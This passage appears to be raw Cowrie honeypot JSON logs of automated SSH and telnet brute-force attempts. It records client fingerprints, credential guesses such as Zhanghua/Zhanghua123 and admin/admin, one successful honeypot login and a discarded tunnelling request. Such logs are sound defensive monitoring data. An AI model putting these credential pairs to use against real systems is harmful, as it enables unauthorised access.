{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:39.958132Z","src_ip":"159.203.92.129","session":"2023a91ea9c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:39.962986Z","src_ip":"159.203.92.129","session":"2023a91ea9c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua111111","message":"login attempt [Zhanghua/Zhanghua111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:39.986299Z","src_ip":"159.203.92.129","session":"2023a91ea9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:40.995461Z","src_ip":"159.203.92.129","session":"2023a91ea9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":44716,"dst_ip":"159.203.135.109","dst_port":22,"session":"457a783b0ed3","protocol":"ssh","message":"New connection: 140.106.25.230:44716 (159.203.135.109:22) [session: 457a783b0ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:50.577470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:50.582318Z","src_ip":"140.106.25.230","session":"457a783b0ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:50.619067Z","src_ip":"140.106.25.230","session":"457a783b0ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"test","message":"login attempt [testtest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:50.778510Z","src_ip":"140.106.25.230","session":"457a783b0ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:51.813424Z","src_ip":"140.106.25.230","session":"457a783b0ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.87.10","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"146302c45e6f","protocol":"telnet","message":"New connection: 152.32.87.10:44318 (10.17.0.5:23) [session: 146302c45e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:57.772425Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a808e617840d","protocol":"ssh","message":"New connection: 159.203.92.129:50666 (159.203.135.109:22) [session: a808e617840d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:22.764096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:22.779743Z","src_ip":"159.203.92.129","session":"a808e617840d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:22.783920Z","src_ip":"159.203.92.129","session":"a808e617840d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua123","message":"login attempt [Zhanghua/Zhanghua123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:22.798197Z","src_ip":"159.203.92.129","session":"a808e617840d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:23.805353Z","src_ip":"159.203.92.129","session":"a808e617840d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":33764,"dst_ip":"159.203.135.109","dst_port":22,"session":"24e5838ecd34","protocol":"ssh","message":"New connection: 140.106.25.230:33764 (159.203.135.109:22) [session: 24e5838ecd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:44.944201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:44.948881Z","src_ip":"140.106.25.230","session":"24e5838ecd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:44.990188Z","src_ip":"140.106.25.230","session":"24e5838ecd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123456","message":"login attempt [test/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:45.144618Z","src_ip":"140.106.25.230","session":"24e5838ecd34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:01:46.181407Z","src_ip":"140.106.25.230","session":"24e5838ecd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51266,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ea6ff8c432","protocol":"ssh","message":"New connection: 159.203.92.129:51266 (159.203.135.109:22) [session: b7ea6ff8c432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:07.285555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:07.291959Z","src_ip":"159.203.92.129","session":"b7ea6ff8c432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:07.298182Z","src_ip":"159.203.92.129","session":"b7ea6ff8c432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua1234","message":"login attempt [Zhanghua/Zhanghua1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:07.317811Z","src_ip":"159.203.92.129","session":"b7ea6ff8c432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:08.326487Z","src_ip":"159.203.92.129","session":"b7ea6ff8c432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26090,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e413e7310ea","protocol":"ssh","message":"New connection: 87.251.64.176:26090 (10.17.0.5:22) [session: 4e413e7310ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:19.926766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:19.932034Z","src_ip":"87.251.64.176","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.033238Z","src_ip":"87.251.64.176","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":57048,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca3388a1046","protocol":"ssh","message":"New connection: 173.249.6.197:57048 (159.203.135.109:22) [session: 8ca3388a1046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.221620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.226346Z","src_ip":"173.249.6.197","session":"8ca3388a1046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.319674Z","src_ip":"173.249.6.197","session":"8ca3388a1046","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.326670Z","src_ip":"87.251.64.176","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.425381Z","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.522866Z","src_ip":"87.251.64.176","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.724807Z","src_ip":"173.249.6.197","session":"8ca3388a1046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:20.757866Z","src_ip":"87.251.64.176","session":"4e413e7310ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:21.824184Z","src_ip":"173.249.6.197","session":"8ca3388a1046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":44842,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ed6ed82d54","protocol":"ssh","message":"New connection: 196.189.51.7:44842 (10.17.0.5:22) [session: 82ed6ed82d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:33.768985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:33.773576Z","src_ip":"196.189.51.7","session":"82ed6ed82d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-s